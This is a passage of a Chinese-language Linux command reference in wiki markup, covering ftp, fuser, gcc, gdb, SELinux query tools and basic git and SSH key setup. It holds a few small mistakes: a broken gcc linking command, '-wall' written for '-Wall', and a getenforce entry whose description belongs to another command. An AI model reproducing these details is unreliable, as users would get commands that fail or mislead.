ftp> ! # 从 ftp 子系统退出到外壳。
```

关闭FTP连接

```bash
bye
exit
quit
```

下载文件

```bash
ftp> get readme.txt # 下载 readme.txt 文件
ftp> mget *.txt     # 下载 
```

上传文件

```bash
ftp> put /path/readme.txt # 上传 readme.txt 文件
ftp> mput *.txt           # 可以上传多个文件
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!自动登录

<div>

```bash
ftp -n #使用.netrc文件实现自动登录
#关闭提示, mget批量下载
ftp anonymous@ftp.isc.org
cd isc/bind9/9.9.4/doc/arm
prompt off
mget *
```
</div>

!指令
:<div>

|!指令      |!描述                                                     |
| ~!         	|escape to the shell                                       |
|debug     	|toggle/set debugging mode                                 |
|mdir      	|list contents of multiple remote directories              |
|sendport  	|toggle use of PORT cmd for each data connection           |
|site      	|send site specific command to remote server               |
|$         	|execute macro                                             |
|dir       	|list contents of remote directory                         |
|mget      	|get multiple files                                        |
|put       	|send one file                                             |
|size      	|show size of remote file                                  |
|account   	|send account command to remote server                     |
|disconnect	|terminate ftp session                                     |
|mkdir     	|make directory on the remote machine                      |
|pwd       	|print working directory on remote machine                 |
|status    	|show current status                                       |
|append    	|append to a file                                          |
|exit      	|terminate ftp session and exit                            |
|mls       	|list contents of multiple remote directories              |
|quit      	|terminate ftp session and exit                            |
|struct    	|set file transfer structure                               |
|ascii     	|set ascii transfer type                                   |
|form      	|set file transfer format                                  |
|mode      	|set file transfer mode                                    |
|quote     	|send arbitrary ftp command                                |
|system    	|show remote system type                                   |
|bell      	|beep when command completed                               |
|get       	|receive file                                              |
|modtime   	|show last modification time of remote file                |
|recv      	|receive file                                              |
|sunique   	|toggle store unique on remote machine                     |
|binary    	|set binary transfer type                                  |
|glob      	|toggle metacharacter expansion of local file names        |
|mput      	|send multiple files                                       |
|reget     	|get file restarting at end of local file                  |
|tenex     	|set tenex file transfer type                              |
|bye       	|terminate ftp session and exit                            |
|hash      	|toggle printing '#' for each buffer transferred           |
|newer     	|get file if remote file is newer than local file          |
|rstatus   	|show status of remote machine                             |
|tick      	|toggle printing byte counter during transfers             |
|case      	|toggle mget upper/lower case id mapping                   |
|help      	|print local help information                              |
|nmap      	|set templates for default file name mapping               |
|rhelp     	|get help from remote server                               |
|trace     	|toggle packet tracing                                     |
|cd        	|change remote working directory                           |
|idle      	|get (set) idle timer on remote side                       |
|nlist     	|nlist contents of remote directory                        |
|rename    	|rename file                                               |
|type      	|set file transfer type                                    |
|cdup      	|change remote working directory to parent directory       |
|image     	|set binary transfer type                                  |
|ntrans    	|set translation table for default file name mapping       |
|reset     	|clear queued command replies                              |
|user      	|send new user information                                 |
|chmod     	|change file permissions of remote file                    |
|lcd       	|change local working directory                            |
|open      	|connect to remote ftp                                     |
|restart   	|restart file transfer at bytecount                        |
|umask     	|get (set) umask on remote side                            |
|close     	|terminate ftp session                                     |
|ls        	|list contents of remote directory                         |
|prompt    	|force interactive prompting on multiple commands          |
|rmdir     	|remove directory on the remote machine                    |
|verbose   	|toggle verbose mode                                       |
|cr        	|toggle carriage return stripping on ascii gets            |
|macdef    	|define a macro                                            |
|passive   	|enter passive transfer mode                               |
|runique   	|toggle store unique for local files                       |
|?         	|print local help information                              |
|delete    	|delete remote file                                        |
|mdelete   	|delete multiple files                                     |
|proxy     	|issue command on alternate connection                     |
|send      	|send one file                                             |

</div>
!!简介
:<div>
ftpcount
===

显示目前已FTP登入的用户人数

</div>

!! 补充说明

:<div>


显示目前已ftp登入的用户人数。执行这项指令可得知目前用FTP登入系统的人数以及FTP登入人数的上限。

语法:

```
ftpcount
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ftpshut
===

在指定的时间关闭FTP服务器

</div>

!! 补充说明

:<div>


功能说明:在指定的时间关闭ftp服务器。本指令提供系统管理者在设置的时间关闭FTP服务器,且能在关闭之前发出警告信息通知用户。关闭时间若设置后为"none",则会马上关闭服务器。如果采 用"+30"的方式来设置表示服务器在30分钟之后关闭。依次类推,假设使用"1130"的格式则代表服务器会在每日的11时30分关闭,时间格式为24 小时制。FTP服务器关闭后,在/etc目录下会产生一个名称为shutmsg的文件,把它删除后即可再度启动FTP服务器的功能。

语法:

```
ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"]
```

参数:

```
-d<分钟>   切断所有FTP连线时间。
-l<分钟>   停止接受FTP登入的时间。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ftptop
===

proftpd服务器的连接状态

</div>

!! 补充说明

:<div>


"ftptop命令" 类似于top命令的显示风格显示proftpd服务器的连接状态。

</div>

!! 语法  

:<div>


```
ftptop(选项)
```

</div>

!! 选项  

:<div>


```
-D:过滤正在下载的会话;
-S:仅显示指定虚拟主机的连接状态;
-d:指定屏幕刷新时间,默认
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ftpwho
===

显示当前每个ftp会话信息

</div>

!! 补充说明

:<div>


"ftpwho命令" ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。

</div>

!! 语法  

:<div>


```
ftpwho(选项)
```

</div>

!! 选项  

:<div>


```
-h:显示帮助信息;
-v:详细模式,输出更多信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!fuser


;使用文件或文件结构识别进程

!! 01. 说明
:<div>

fuser命令 用于报告进程使用的文件和网络套接字。

fuser命令列出了本地进程的进程号,那些本地进程使用file,参数指定的本地或远程文件。

对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程。

每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。

```
*   c:指示进程的工作目录。
*   e:指示该文件为进程的可执行文件(即进程由该文件拉起)。
*   f:指示该文件被进程打开,默认情况下f字符不显示。
*   F:指示该文件被进程打开进行写入,默认情况下F字符不显示。
*   r:指示该目录为进程的根目录。
*   m:指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。
```
</div>


!!02. 选项  
:<div>

```
-a:显示命令行中指定的所有文件;
-k:杀死访问指定文件的所有进程;
-i:杀死进程前需要用户进行确认;
-l:列出所有已知信号名;
-m:指定一个被加载的文件系统或一个被加载的块设备;
-n:选择不同的名称空间;
-u:在每个进程后显示所属的用户名。
```
</div>

!! 03. 参数  

:文件:可以是文件名或者TCP、UDP端口号。

!! 04. 实例  

:<div>

要列出使用`/etc/passwd`文件的本地进程的进程号,请输入:

```
fuser /etc/passwd
```

要列出使用`/etc/filesystems`文件的进程的进程号和用户登录名,请输入:

```
fuser -u /etc/filesystems
```

要终止使用给定文件系统的所有进程,请输入:

```
fuser -k -x -u -c /dev/hd1  
fuser -kxuc /home
```

任一命令都列出了进程号和用户名,然后终止每个正在使用`/dev/hd1 (/home)`文件系统的进程。仅有root用户能终止属于另一用户的进程。如果您正在试图卸下`/dev/hd1`文件系统,而一个正在访问`/dev/hd1`文件系统的进程不允许这样,您可能希望使用此命令。

要列出正在使用已从给定文件系统删除的文件的全部进程,请输入:

```
fuser -d /usr
```

`/dev/kmem` 用于系统映像。
  

`/dev/mem`  也用于系统映像。
</div>
!!简介
:<div>
gcc
===

基于C/C++的编译器

</div>

!! 补充说明

:<div>


"gcc命令" 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。

</div>

!! 语法  

:<div>


```
gcc(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-o:指定生成的输出文件;
-E:仅执行编译预处理;
-S:将C代码转换为汇编代码;
-wall:显示警告信息;
-c:仅执行编译操作,不进行连接操作。
```

</div>

!! 参数  

:<div>


C源文件:指定C语言源代码文件。

</div>

!! 实例  

:<div>


 "常用编译命令选项" 

假设源程序文件名为test.c

 "无选项编译链接" 

```
gcc test.c
```

将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。

 "选项 -o" 

```
gcc test.c -o test
```

将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。

 "选项 -E" 

```
gcc -E test.c -o test.i
```

将test.c预处理输出test.i文件。

 "选项 -S" 

```
gcc -S test.i
```

将预处理输出文件test.i汇编成test.s文件。

 "选项 -c" 

```
gcc -c test.s
```

将汇编输出文件test.s编译输出test.o文件。

 "无选项链接" 

```
gcc test.o -o test
```

将编译输出文件test.o链接成最终可执行文件test。

 "选项 -O" 

```
gcc -O1 test.c -o test
```

使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。

 "多源文件的编译方法" 

如果有多个源文件,基本上有两种编译方法:

假设有两个源文件为test.c和testfun.c

 "多个文件一起编译" 

```
gcc testfun.c test.c -o test
```

将testfun.c和test.c分别编译后链接成test可执行文件。

 "分别编译各个源文件,之后对编译后输出的目标文件链接。" 

```
gcc -c testfun.c    #将testfun.c编译成testfun.o
gcc -c test.c       #将test.c编译成test.o
gcc -o testfun.o test.o -o test    #将testfun.o和test.o链接成test
```

以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
gcov
===

测试程序的代码覆盖率的工具

</div>

!! 补充说明

:<div>


"gcov命令" 是一款测试程序的代码覆盖率的工具。

</div>

!! 语法  

:<div>


```
gcov(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:显示帮助信息;
-v:显示版本信息;
-a:输出所有的基本块的执行计数;
-n:并创建输出文件。
```

</div>

!! 参数  

:<div>


V语言文件:C语言源代码文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
gdb
===

功能强大的程序调试器

</div>

!! 补充说明

:<div>


"gdb命令" 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令,就大致可以完成日常的基本的程序调试工作。

<table border="0" cellpadding="0" cellspacing="0">

<tbody>

<tr>

<th>命令</th>

<th>解释</th>

<th>示例</th>

</tr>

<tr>

<td>file <文件名></td>

<td>加载被调试的可执行程序文件。
因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。</td>

<td>(gdb) file gdb-sample</td>

</tr>

<tr>

<td>r</td>

<td>Run的简写,运行被调试的程序。
如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。</td>

<td>(gdb) r</td>

</tr>

<tr>

<td>c</td>

<td>Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。</td>

<td>(gdb) c</td>

</tr>

<tr>

<td>b <行号>
b <函数名称>
b *<函数名称>
b *<代码地址> d [编号]</td>

<td>b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。
其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。</td>

<td>(gdb) b 8
(gdb) b main
(gdb) b *main
(gdb) b *0x804835c (gdb) d</td>

</tr>

<tr>

<td>s, n</td>

<td>s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;
n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”;
n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。</td>

<td>(gdb) s
(gdb) n</td>

</tr>

<tr>

<td>si, ni</td>

<td>si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。</td>

<td>(gdb) si
(gdb) ni</td>

</tr>

<tr>

<td>p <变量名称></td>

<td>Print的简写,显示指定变量(临时变量或全局变量)的值。</td>

<td>(gdb) p i
(gdb) p nGlobalVar</td>

</tr>

<tr>

<td>display ... undisplay <编号></td>

<td>display,设置程序中断后欲显示的数据及其格式。
例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令
“display /i $pc”
其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。</td>

<td>(gdb) display /i $pc (gdb) undisplay 1</td>

</tr>

<tr>

<td>i</td>

<td>info的简写,用于显示各类信息,详情请查阅“help i”。</td>

<td>(gdb) i r</td>

</tr>

<tr>

<td>q</td>

<td>Quit的简写,退出GDB调试环境。</td>

<td>(gdb) q</td>

</tr>

<tr>

<td>help [命令名称]</td>

<td>GDB帮助命令,提供对GDB名种命令的解释说明。
如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。</td>

<td>(gdb) help</td>

</tr>

</tbody>

</table>

</div>

!! 语法

:<div>


```
gdb(选项)(参数)
```

</div>

!! 选项

:<div>


```
-cd:设置工作目录;
-q:安静模式,不打印介绍信息和版本信息;
-d:添加文件查找路径;
-x:从指定文件中执行GDB指令;
-s:设置读取的符号表文件。
```

</div>

!! 参数

:<div>


文件:二进制可执行程序。

</div>

!! 实例

:<div>


以下是linux下dgb调试的一个实例,先给出一个示例用的小程序,C语言代码:

```
#include <stdio.h>
int nGlobalVar = 0;

int tempFunction(int a, int b)
{
    printf("tempFunction is called, a = %d, b = %d /n", a, b);
    return (a + b);
}

int main()
{
    int n;
        n = 1;
        n++;
        n--;

        nGlobalVar += 100;
        nGlobalVar -= 12;

    printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);

        n = tempFunction(1, 2);
    printf("n = %d", n);

    return 0;
}
```

请将此代码复制出来并保存到文件 gdb-sample.c 中,然后切换到此文件所在目录,用GCC编译之:

```
gcc gdb-sample.c -o gdb-sample -g
```

在上面的命令行中,使用 -o 参数指定了编译生成的可执行文件名为 gdb-sample,使用参数 -g 表示将源代码信息编译到可执行文件中。如果不使用参数 -g,会给后面的GDB调试造成不便。当然,如果我们没有程序的源代码,自然也无从使用 -g 参数,调试/跟踪时也只能是汇编代码级别的调试/跟踪。

下面“gdb”命令启动GDB,将首先显示GDB说明,不管它:

```
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu".
(gdb)
```

上面最后一行“(gdb)”为GDB内部命令引导符,等待用户输入GDB命令。

下面使用“file”命令载入被调试程序 gdb-sample(这里的 gdb-sample 即前面 GCC 编译输出的可执行文件):

```
(gdb) file gdb-sample
Reading symbols from gdb-sample...done.
```

上面最后一行提示已经加载成功。

下面使用“r”命令执行(Run)被调试文件,因为尚未设置任何断点,将直接执行到程序结束:

```
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
n = 1, nGlobalVar = 88
tempFunction is called, a = 1, b = 2
n = 3
Program exited normally.
```

下面使用“b”命令在 main 函数开头设置一个断点(Breakpoint):

```
(gdb) b main
Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19.
```

上面最后一行提示已经成功设置断点,并给出了该断点信息:在源文件 gdb-sample.c 第19行处设置断点;这是本程序的第一个断点(序号为1);断点处的代码地址为 0x804835c(此值可能仅在本次调试过程中有效)。回过头去看源代码,第19行中的代码为“n = 1”,恰好是 main 函数中的第一个可执行语句(前面的“int n;”为变量定义语句,并非可执行语句)。

再次使用“r”命令执行(Run)被调试程序:

```
(gdb) r
Starting program: /home/liigo/temp/gdb-sample

Breakpoint 1, main () at gdb-sample.c:19
19 n = 1;
```

程序中断在gdb-sample.c第19行处,即main函数是第一个可执行语句处。

上面最后一行信息为:下一条将要执行的源代码为“n = 1;”,它是源代码文件gdb-sample.c中的第19行。

下面使用“s”命令(Step)执行下一行代码(即第19行“n = 1;”):

```
(gdb) s
20 n++;
```

上面的信息表示已经执行完“n = 1;”,并显示下一条要执行的代码为第20行的“n++;”。

既然已经执行了“n = 1;”,即给变量 n 赋值为 1,那我们用“p”命令(Print)看一下变量 n 的值是不是 1 :

```
(gdb) p n
$1 = 1
```

果然是 1。($1大致是表示这是第一次使用“p”命令——再次执行“p n”将显示“$2 = 1”——此信息应该没有什么用处。)

下面我们分别在第26行、tempFunction 函数开头各设置一个断点(分别使用命令“b 26”“b tempFunction”):

```
(gdb) b 26
Breakpoint 2 at 0x804837b: file gdb-sample.c, line 26.
(gdb) b tempFunction
Breakpoint 3 at 0x804832e: file gdb-sample.c, line 12.
```

使用“c”命令继续(Continue)执行被调试程序,程序将中断在第二 个断点(26行),此时全局变量 nGlobalVar 的值应该是 88;再一次执行“c”命令,程序将中断于第三个断点(12行,tempFunction 函数开头处),此时tempFunction 函数的两个参数 a、b 的值应分别是 1 和 2:

```
(gdb) c
Continuing.

Breakpoint 2, main () at gdb-sample.c:26
26 printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);
(gdb) p nGlobalVar
$2 = 88
(gdb) c
Continuing.
n = 1, nGlobalVar = 88

Breakpoint 3, tempFunction (a=1, b=2) at gdb-sample.c:12
12 printf("tempFunction is called, a = %d, b = %d /n", a, b);
(gdb) p a
$3 = 1
(gdb) p b
$4 = 2
```

上面反馈的信息一切都在我们预料之中~~

再一次执行“c”命令(Continue),因为后面再也没有其它断点,程序将一直执行到结束:

```
(gdb) c
Continuing.
tempFunction is called, a = 1, b = 2
n = 3
Program exited normally.
```

有时候需要看到编译器生成的汇编代码,以进行汇编级的调试或跟踪,又该如何操作呢?

这就要用到display命令“display /i $pc”了(此命令前面已有详细解释):

```
(gdb) display /i $pc
(gdb)
```

此后程序再中断时,就可以显示出汇编代码了:

```
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample

Breakpoint 1, main () at gdb-sample.c:19
19 n = 1;
1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
```

看到了汇编代码,“n = 1;”对应的汇编代码是“movl $0x1,0xfffffffc(%ebp)”。

并且以后程序每次中断都将显示下一条汇编指定(“si”命令用于执行一条汇编代码——区别于“s”执行一行C代码):

```
(gdb) si
20 n++;
1: x/i $pc 0x8048363 <main+23>: lea 0xfffffffc(%ebp),%eax
(gdb) si
0x08048366 20 n++;
1: x/i $pc 0x8048366 <main+26>: incl (%eax)
(gdb) si
21 n--;
1: x/i $pc 0x8048368 <main+28>: lea 0xfffffffc(%ebp),%eax
(gdb) si
0x0804836b 21 n--;
1: x/i $pc 0x804836b <main+31>: decl (%eax)
(gdb) si
23 nGlobalVar += 100;
1: x/i $pc 0x804836d <main+33>: addl $0x64,0x80494fc
```

接下来我们试一下命令“b *<函数名称>”。

为了更简明,有必要先删除目前所有断点(使用“d”命令——Delete breakpoint):

```
(gdb) d
Delete all breakpoints? (y or n) y
(gdb)
```

当被询问是否删除所有断点时,输入“y”并按回车键即可。

下面使用命令“b *main”在 main 函数的 prolog 代码处设置断点(prolog、epilog,分别表示编译器在每个函数的开头和结尾自行插入的代码):

```
(gdb) b *main
Breakpoint 4 at 0x804834c: file gdb-sample.c, line 17.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample

Breakpoint 4, main () at gdb-sample.c:17
17 {
1: x/i $pc 0x804834c <main>: push %ebp
(gdb) si
0x0804834d 17 {
1: x/i $pc 0x804834d <main+1>: mov %esp,%ebp
(gdb) si
0x0804834f in main () at gdb-sample.c:17
17 {
1: x/i $pc 0x804834f <main+3>: sub $0x8,%esp
(gdb) si
0x08048352 17 {
1: x/i $pc 0x8048352 <main+6>: and $0xfffffff0,%esp
(gdb) si
0x08048355 17 {
1: x/i $pc 0x8048355 <main+9>: mov $0x0,%eax
(gdb) si
0x0804835a 17 {
1: x/i $pc 0x804835a <main+14>: sub %eax,%esp
(gdb) si
19 n = 1;
1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
```

此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”:

```
(gdb) i r
eax 0xbffff6a4 -1073744220
ecx 0x42015554 1107383636
edx 0x40016bc8 1073834952
ebx 0x42130a14 1108544020
esp 0xbffff6a0 0xbffff6a0
ebp 0xbffff6a8 0xbffff6a8
esi 0x40015360 1073828704
edi 0x80483f0 134513648
eip 0x8048366 0x8048366
eflags 0x386 902
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51
```

当然也可以显示任意一个指定的寄存器值:

```
(gdb) i r eax
eax 0xbffff6a4 -1073744220
```

最后一个要介绍的命令是“q”,退出(Quit)GDB调试环境:

```
(gdb) q
The program is running. exit anyway? (y or n)
```

</div>

!! 补充内容

:<div>


> gdb 教程:[慕课网-Linux C语言指针与内存-第三章](http://www.imooc.com/learn/394)

如果删除源代码, 就无法显示行号等辅助信息了

```
gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out

gdb gdb.out # 进入 gdb 调试环境
enter # 继续执行上条命令
l # 列出源代码, 默认 10 行, 按 l 继续

start # 开始单步调试, 默认 main() 第一行
p a # 查看 a 变量的值
n # 继续到下一行
s # 进入子函数
bt # 查看函数栈
f 1 # 切换函数栈

q 退出调试
```

```c
# 测试用代码
#include <stdio.h>

void change(int a, int b){
    int tmp=a;
    a=b; b=tmp;
}

void change2(int *a, int *b){
    int tmp=*a;
    *a=*b; *b=tmp;
}

int main(){
    int a=5,b=3;
    change(a,b);
    printf("change:\na=%d\nb=%d\n", a,b);
    change2(&a,&b);
    printf("change2:\na=%d\nb=%d\n", a,b);
}
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 描述
:<div>
''get_module''命令用于获取Linux内核模块的详细信息。
</div>


! 实例
:<div>

* 使用lsmod命令查看内核模块:

:<div>

```bash
lsmod | head -5
Module                  Size  Used by
ipv6                  272801  15
xfrm_nalgo             13381  1 ipv6
crypto_api             12609  1 xfrm_nalgo
ip_conntrack_ftp       11569  0
```

</div>


* 使用get_module命令查看模块详细信息:

:<div>

```bash
get_module ipv6

......
```
</div>


</div>

!!简介
:<div>
getenforce
===

显示当前SELinux的应用模式,是强制、执行还是停用。

</div>

!! 补充说明

:<div>


"grename命令" 可以重命名卷组的名称。

</div>

!! 语法  

:<div>


```
getenforce
```

</div>

!! 例子

:<div>


查看当前SELinux的应用模式。

```bash
[root@localhost ~]# getenforce
Enforcing
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!示例 
:<div>

```bash
#https://my.oschina.net/leejun2005/blog/202376
#!/bin/bash
while getopts 'd:Dm:f:t:' OPT; do
    case $OPT in
        d)
            DEL_DAYS="$OPTARG";;
        D)
            DEL_ORIGINAL='yes';;
        f)
            DIR_FROM="$OPTARG";;
        m)
            MAILDIR_NAME="$OPTARG";;
        t)
            DIR_TO="$OPTARG";;
        ?)
            echo "Usage: `basename $0` [options] filename"
    esac
done

shift $(($OPTIND - 1))



```

</div>
!!简介
:<div>
getsebool
===

查询SElinux策略内各项规则的布尔值

</div>

!! 补充说明

:<div>


"getsebool命令" 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

</div>

!! 语法  

:<div>


```
getsebool [-a] [布尔值条款]
```

</div>

!! 选项  

:<div>


```
-a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。
```

</div>

!! 实例  

:<div>


查询本系统内所有的布尔值设置状况:

```
getsebool -a
NetworkManager_disable_trans --> off
allow_console_login --> off
allow_cvs_read_shadow --> off
allow_daemons_dump_core --> on
....(底下省略)....
```

查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它:

```
getsebool httpd_enable_homedirs
setsebool -P httpd_enable_homedirs=0    //0是关闭  1是开启

```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
git
===

是目前世界上最先进的分布式版本控制系统

</div>

!! 补充说明

:<div>


"git命令" 很多人都知道,Linus在1991年创建了开源的Linux,从此,Linux系统不断发展,已经成为最大的服务器系统软件了。

Linus虽然创建了Linux,但Linux的壮大是靠全世界热心的志愿者参与的,这么多人在世界各地为Linux编写代码,那Linux的代码是如何管理的呢?

事实是,在2002年以前,世界各地的志愿者把源代码文件通过diff的方式发给Linus,然后由Linus本人通过手工方式合并代码!

你也许会想,为什么Linus不把Linux代码放到版本控制系统里呢?不是有CVS、SVN这些免费的版本控制系统吗?因为Linus坚定地反对CVS和SVN,这些集中式的版本控制系统不但速度慢,而且必须联网才能使用。有一些商用的版本控制系统,虽然比CVS、SVN好用,但那是付费的,和Linux的开源精神不符。

不过,到了2002年,Linux系统已经发展了十年了,代码库之大让Linus很难继续通过手工方式管理了,社区的弟兄们也对这种方式表达了强烈不满,于是Linus选择了一个商业的版本控制系统BitKeeper,BitKeeper的东家BitMover公司出于人道主义精神,授权Linux社区免费使用这个版本控制系统。

安定团结的大好局面在2005年就被打破了,原因是Linux社区牛人聚集,不免沾染了一些梁山好汉的江湖习气。开发Samba的Andrew试图破解BitKeeper的协议(这么干的其实也不只他一个),被BitMover公司发现了(监控工作做得不错!),于是BitMover公司怒了,要收回Linux社区的免费使用权。

Linus可以向BitMover公司道个歉,保证以后严格管教弟兄们,嗯,这是不可能的。实际情况是这样的:

Linus花了两周时间自己用C写了一个分布式版本控制系统,这就是Git!一个月之内,Linux系统的源码已经由Git管理了!牛是怎么定义的呢?大家可以体会一下。

Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitHub网站上线了,它为开源项目免费提供Git存储,无数开源项目开始迁移至GitHub,包括jQuery,PHP,Ruby等等。

历史就是这么偶然,如果不是当年BitMover公司威胁Linux社区,可能现在我们就没有免费而超级好用的Git了。

[Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md)

</div>

!! 语法  

:<div>


```
git [--version] [--help] [-C <path>] [-c name=value]
   [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
   [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
   [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
   <command> [<args>]
```

</div>

!! 选项  

:<div>


```
add              将文件内容添加到索引
bisect           通过二进制查找引入错误的更改
branch           列出,创建或删除分支
checkout         检查分支或路径到工作树
clone            将存储库克隆到新目录中
commit           将更改记录到存储库
diff             显示提交,提交和工作树等之间的更改
fetch            从另一个存储库下载对象和引用
grep             打印匹配图案的行
init             创建一个空的Git仓库或重新初始化一个现有的
log              显示提交日志
merge            加入两个或更多的开发历史
mv               移动或重命名文件,目录或符号链接
pull             从另一个存储库或本地分支获取并合并
push             更新远程引用以及相关对象
rebase           转发端口本地提交到更新的上游头
reset            将当前HEAD复位到指定状态
rm               从工作树和索引中删除文件
show             显示各种类型的对象
status           显示工作树状态
tag              创建,列出,删除或验证使用GPG签名的标签对象
```

</div>

!! 例子

:<div>


init

`git init` #初始化  

status

`git status` #获取状态  

add

`git add file` # .或*代表全部添加  
`git rm --cached <added_file_to_undo>` # 在commit之前撤销git add操作  
`git reset head` # 好像比上面`git rm --cached`更方便  

commit

`git commit -m "message"` #此处注意乱码  

remote

`git remote add origin git@github.com:JSLite/test.git` #添加源  

push

```bash
git push -u origin master # push同事设置默认跟踪分支  
git push origin master  
git push -f origin master # 强制推送文件,缩写 -f(全写--force)
```

clone

`git clone git://github.com/JSLite/JSLite.js.git `  
`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹  
`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。  

git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`  

```bash
$ git clone http[s]://example.com/path/to/repo.git/
$ git clone ssh://example.com/path/to/repo.git/
$ git clone git://example.com/path/to/repo.git/
$ git clone /opt/git/project.git 
$ git clone file:///opt/git/project.git
$ git clone ftp[s]://example.com/path/to/repo.git/
$ git clone rsync://example.com/path/to/repo.git/
```

</div>

!! 配置

:<div>


首先是配置帐号信息 `ssh -T git@github.com` 测试。

</div>

!! 修改项目中的个人信息

:<div>


```bash
git help config # 获取帮助信息,查看修改个人信息的参数  
git config --global user.name "小弟调调"           # 修改全局名字
git config --global user.email "wowohoo@qq.com"  # 修改全局邮箱
git config --list         # 查看配置的信息  
```

</div>

!! 配置自动换行

:<div>


自动转换坑太大,提交到git是自动将换行符转换为lf 

```bash
git config --global core.autocrlf input
```

</div>

!! 常见使用场景

:<div>


</div>

!! 创建SSH密钥

:<div>


这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github

```bash
ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥  
ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字
ssh -T git@github.com # 测试是否成功  
```

</div>

!! 多账号ssh配置

:<div>


"1.生成指定名字的密钥"

`ssh-keygen -t rsa -C "邮箱地址" -f ~/.ssh/jslite_rsa`  
会生成 `jslite_rsa` 和 `jslite_rsa.pub` 这两个文件  

"2.密钥复制到托管平台上"

